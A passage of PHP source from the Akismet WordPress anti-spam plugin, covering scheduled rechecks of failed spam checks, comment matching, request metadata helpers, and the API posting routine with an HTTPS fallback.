'akismet_scheduled_recheck', 'key-problem-' . get_option( 'akismet_alert_code' ) . '-' . $status ); return false; } delete_option('akismet_available_servers'); $comment_errors = $wpdb->get_col( "SELECT comment_id FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error' LIMIT 100" ); load_plugin_textdomain( 'akismet' ); foreach ( (array) $comment_errors as $comment_id ) { // if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck $comment = get_comment( $comment_id ); if ( ! $comment // Comment has been deleted || strtotime( $comment->comment_date_gmt ) < strtotime( "-15 days" ) // Comment is too old. || $comment->comment_approved !== "0" // Comment is no longer in the Pending queue ) { delete_comment_meta( $comment_id, 'akismet_error' ); delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' ); continue; } add_comment_meta( $comment_id, 'akismet_rechecking', true ); $status = self::check_db_comment( $comment_id, 'retry' ); $event = ''; if ( $status == 'true' ) { $event = 'cron-retry-spam'; } elseif ( $status == 'false' ) { $event = 'cron-retry-ham'; } // If we got back a legit response then update the comment history // other wise just bail now and try again later. No point in // re-trying all the comments once we hit one failure. if ( !empty( $event ) ) { delete_comment_meta( $comment_id, 'akismet_error' ); self::update_comment_history( $comment_id, '', $event ); update_comment_meta( $comment_id, 'akismet_result', $status ); // make sure the comment status is still pending. if it isn't, that means the user has already moved it elsewhere. $comment = get_comment( $comment_id ); if ( $comment && 'unapproved' == wp_get_comment_status( $comment_id ) ) { if ( $status == 'true' ) { wp_spam_comment( $comment_id ); } elseif ( $status == 'false' ) { // comment is good, but it's still in the pending queue. depending on the moderation settings // we may need to change it to approved. if ( check_comment($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type) ) wp_set_comment_status( $comment_id, 1 ); else if ( get_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ) ) wp_notify_moderator( $comment_id ); } } delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' ); } else { // If this comment has been pending moderation for longer than MAX_DELAY_BEFORE_MODERATION_EMAIL, // send a moderation email now. if ( ( intval( gmdate( 'U' ) ) - strtotime( $comment->comment_date_gmt ) ) < self::MAX_DELAY_BEFORE_MODERATION_EMAIL ) { delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' ); wp_notify_moderator( $comment_id ); } delete_comment_meta( $comment_id, 'akismet_rechecking' ); wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'check-db-comment-' . $status ); return; } delete_comment_meta( $comment_id, 'akismet_rechecking' ); } $remaining = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->commentmeta} WHERE meta_key = 'akismet_error'" ); if ( $remaining && !wp_next_scheduled('akismet_schedule_cron_recheck') ) { wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'remaining' ); } } public static function fix_scheduled_recheck() { $future_check = wp_next_scheduled( 'akismet_schedule_cron_recheck' ); if ( !$future_check ) { return; } if ( get_option( 'akismet_alert_code' ) > 0 ) { return; } $check_range = time() + 1200; if ( $future_check > $check_range ) { wp_clear_scheduled_hook( 'akismet_schedule_cron_recheck' ); wp_schedule_single_event( time() + 300, 'akismet_schedule_cron_recheck' ); do_action( 'akismet_scheduled_recheck', 'fix-scheduled-recheck' ); } } public static function add_comment_nonce( $post_id ) { /** * To disable the Akismet comment nonce, add a filter for the 'akismet_comment_nonce' tag * and return any string value that is not 'true' or '' (empty string). * * Don't return boolean false, because that implies that the 'akismet_comment_nonce' option * has not been set and that Akismet should just choose the default behavior for that * situation. */ if ( ! self::get_api_key() ) { return; } $akismet_comment_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) ); if ( $akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '' ) { echo '

      '; wp_nonce_field( 'akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', FALSE ); echo '

      '; } } public static function is_test_mode() { return defined('AKISMET_TEST_MODE') && AKISMET_TEST_MODE; } public static function allow_discard() { if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) return false; if ( is_user_logged_in() ) return false; return ( get_option( 'akismet_strictness' ) === '1' ); } public static function get_ip_address() { return isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : null; } /** * Do these two comments, without checking the comment_ID, "match"? * * @param mixed $comment1 A comment object or array. * @param mixed $comment2 A comment object or array. * @return bool Whether the two comments should be treated as the same comment. */ private static function comments_match( $comment1, $comment2 ) { $comment1 = (array) $comment1; $comment2 = (array) $comment2; // Set default values for these strings that we check in order to simplify // the checks and avoid PHP warnings. if ( ! isset( $comment1['comment_author'] ) ) { $comment1['comment_author'] = ''; } if ( ! isset( $comment2['comment_author'] ) ) { $comment2['comment_author'] = ''; } if ( ! isset( $comment1['comment_author_email'] ) ) { $comment1['comment_author_email'] = ''; } if ( ! isset( $comment2['comment_author_email'] ) ) { $comment2['comment_author_email'] = ''; } $comments_match = ( isset( $comment1['comment_post_ID'], $comment2['comment_post_ID'] ) && intval( $comment1['comment_post_ID'] ) == intval( $comment2['comment_post_ID'] ) && ( // The comment author length max is 255 characters, limited by the TINYTEXT column type. // If the comment author includes multibyte characters right around the 255-byte mark, they // may be stripped when the author is saved in the DB, so a 300+ char author may turn into // a 253-char author when it's saved, not 255 exactly. The longest possible character is // theoretically 6 bytes, so we'll only look at the first 248 bytes to be safe. substr( $comment1['comment_author'], 0, 248 ) == substr( $comment2['comment_author'], 0, 248 ) || substr( stripslashes( $comment1['comment_author'] ), 0, 248 ) == substr( $comment2['comment_author'], 0, 248 ) || substr( $comment1['comment_author'], 0, 248 ) == substr( stripslashes( $comment2['comment_author'] ), 0, 248 ) // Certain long comment author names will be truncated to nothing, depending on their encoding. || ( ! $comment1['comment_author'] && strlen( $comment2['comment_author'] ) > 248 ) || ( ! $comment2['comment_author'] && strlen( $comment1['comment_author'] ) > 248 ) ) && ( // The email max length is 100 characters, limited by the VARCHAR(100) column type. // Same argument as above for only looking at the first 93 characters. substr( $comment1['comment_author_email'], 0, 93 ) == substr( $comment2['comment_author_email'], 0, 93 ) || substr( stripslashes( $comment1['comment_author_email'] ), 0, 93 ) == substr( $comment2['comment_author_email'], 0, 93 ) || substr( $comment1['comment_author_email'], 0, 93 ) == substr( stripslashes( $comment2['comment_author_email'] ), 0, 93 ) // Very long emails can be truncated and then stripped if the [0:100] substring isn't a valid address. || ( ! $comment1['comment_author_email'] && strlen( $comment2['comment_author_email'] ) > 100 ) || ( ! $comment2['comment_author_email'] && strlen( $comment1['comment_author_email'] ) > 100 ) ) ); return $comments_match; } // Does the supplied comment match the details of the one most recently stored in self::$last_comment? public static function matches_last_comment( $comment ) { return self::comments_match( self::$last_comment, $comment ); } private static function get_user_agent() { return isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : null; } private static function get_referer() { return isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : null; } // return a comma-separated list of role names for the given user public static function get_user_roles( $user_id ) { $roles = false; if ( !class_exists('WP_User') ) return false; if ( $user_id > 0 ) { $comment_user = new WP_User( $user_id ); if ( isset( $comment_user->roles ) ) $roles = join( ',', $comment_user->roles ); } if ( is_multisite() && is_super_admin( $user_id ) ) { if ( empty( $roles ) ) { $roles = 'super_admin'; } else { $comment_user->roles[] = 'super_admin'; $roles = join( ',', $comment_user->roles ); } } return $roles; } // filter handler used to return a spam result to pre_comment_approved public static function last_comment_status( $approved, $comment ) { if ( is_null( self::$last_comment_result ) ) { // We didn't have reason to store the result of the last check. return $approved; } // Only do this if it's the correct comment if ( ! self::matches_last_comment( $comment ) ) { self::log( "comment_is_spam mismatched comment, returning unaltered $approved" ); return $approved; } if ( 'trash' === $approved ) { // If the last comment we checked has had its approval set to 'trash', // then it failed the comment blacklist check. Let that blacklist override // the spam check, since users have the (valid) expectation that when // they fill out their blacklists, comments that match it will always // end up in the trash. return $approved; } // bump the counter here instead of when the filter is added to reduce the possibility of overcounting if ( $incr = apply_filters('akismet_spam_count_incr', 1) ) update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr ); return self::$last_comment_result; } /** * If Akismet is temporarily unreachable, we don't want to "spam" the blogger with * moderation emails for comments that will be automatically cleared or spammed on * the next retry. * * For comments that will be rechecked later, empty the list of email addresses that * the moderation email would be sent to. * * @param array $emails An array of email addresses that the moderation email will be sent to. * @param int $comment_id The ID of the relevant comment. * @return array An array of email addresses that the moderation email will be sent to. */ public static function disable_moderation_emails_if_unreachable( $emails, $comment_id ) { if ( ! empty( self::$prevent_moderation_email_for_these_comments ) && ! empty( $emails ) ) { $comment = get_comment( $comment_id ); foreach ( self::$prevent_moderation_email_for_these_comments as $possible_match ) { if ( self::comments_match( $possible_match, $comment ) ) { update_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ); return array(); } } } return $emails; } public static function _cmp_time( $a, $b ) { return $a['time'] > $b['time'] ? -1 : 1; } public static function _get_microtime() { $mtime = explode( ' ', microtime() ); return $mtime[1] + $mtime[0]; } /** * Make a POST request to the Akismet API. * * @param string $request The body of the request. * @param string $path The path for the request. * @param string $ip The specific IP address to hit. * @return array A two-member array consisting of the headers and the response body, both empty in the case of a failure. */ public static function http_post( $request, $path, $ip=null ) { $akismet_ua = sprintf( 'WordPress/%s | Akismet/%s', $GLOBALS['wp_version'], constant( 'AKISMET_VERSION' ) ); $akismet_ua = apply_filters( 'akismet_ua', $akismet_ua ); $content_length = strlen( $request ); $api_key = self::get_api_key(); $host = self::API_HOST; if ( !empty( $api_key ) ) $host = $api_key.'.'.$host; $http_host = $host; // use a specific IP if provided // needed by Akismet_Admin::check_server_connectivity() if ( $ip && long2ip( ip2long( $ip ) ) ) { $http_host = $ip; } $http_args = array( 'body' => $request, 'headers' => array( 'Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ), 'Host' => $host, 'User-Agent' => $akismet_ua, ), 'httpversion' => '1.0', 'timeout' => 15 ); $akismet_url = $http_akismet_url = "http://{$http_host}/1.1/{$path}"; /** * Try SSL first; if that fails, try without it and don't try it again for a while. */ $ssl = $ssl_failed = false; // Check if SSL requests were disabled fewer than X hours ago. $ssl_disabled = get_option( 'akismet_ssl_disabled' ); if ( $ssl_disabled && $ssl_disabled < ( time() - 60 * 60 * 24 ) ) { // 24 hours $ssl_disabled = false; delete_option( 'akismet_ssl_disabled' ); } else if ( $ssl_disabled ) { do_action( 'akismet_ssl_disabled' ); } if ( ! $ssl_disabled && ( $ssl = wp_http_supports( array( 'ssl' ) ) ) ) { $akismet_url = set_url_scheme( $akismet_url, 'https' ); do_action( 'akismet_https_request_pre' ); } $response = wp_remote_post( $akismet_url, $http_args ); Akismet::log( compact( 'akismet_url', 'http_args', 'response' ) ); if ( $ssl && is_wp_error( $response ) ) { do_action( 'akismet_https_request_failure', $response ); // Intermittent connection problems may cause the first HTTPS // request to fail and subsequent HTTP requests to succeed randomly. // Retry the HTTPS request once before disabling SSL for a time. $response = wp_remote_post( $akismet_url, $http_args ); Akismet::log( compact( 'akismet_url', 'http_args', 'response' ) ); if ( is_wp_error( $response ) ) { $ssl_failed = true; do_action( 'akismet_https_request_failure', $response ); do_action( 'akismet_http_request_pre' ); // Try the request again without SSL. $response = wp_remote_post( $http_akismet_url, $http_args ); Akismet::log( compact( 'http_akismet_url', 'http_args', 'response' ) ); } } if ( is_wp_error( $response ) ) { do_action( 'akismet_request_failure', $response ); return array( '', '' ); } if ( $ssl_failed ) { // The request failed when using SSL but succeeded without it. Disable SSL for future requests. update_option( 'akismet_ssl_disabled', time() ); do_action( 'akismet_https_disabled' ); } $simplified_response = array( $response['headers'], $response['body'] ); self::update_alert( $simplified_response ); return $simplified_response; } // given a response from an API call like check_key_status(), update the alert code options if an alert is present. public static function update_alert( $response ) { $code = $msg = null; if ( isset( $response[0]['x-akismet-alert-code'] ) ) { $code = $response[0]['x-akismet-alert-code']; $msg = $response[0]['x-akismet-alert-msg']; } // only call update_option() if the value has changed if ( $code != get_option( 'akismet_alert_code' ) ) { if ( ! $code ) { delete_option( 'akismet_alert_code' ); delete_option( 'akismet_alert_msg' ); } else { update_option( 'akismet_alert_code', $code ); update_option( 'akismet_alert_msg', $msg ); } } } public static function load_form_js() { if ( function_exists( 'is_amp_endpoint' ) && is_amp_endpoint() ) { return; } if ( ! self::get_api_key() ) { return; } wp_register_script( 'akismet-form', plugin_dir_url( __FILE__ ) . '_inc/form.js', array(), AKISMET_VERSION, true ); wp_enqueue_script( 'akismet-form' ); } /** * Mark form.js as async. Because nothing depends on it, it can run at any time * after it's loaded, and the browser won't have to wait for it to load to continue * parsing the rest of the page. */ public static function set_form_js_async( $tag, $handle, $src ) { if ( 'akismet-form' !== $handle ) { return $tag; } return preg_replace( '/^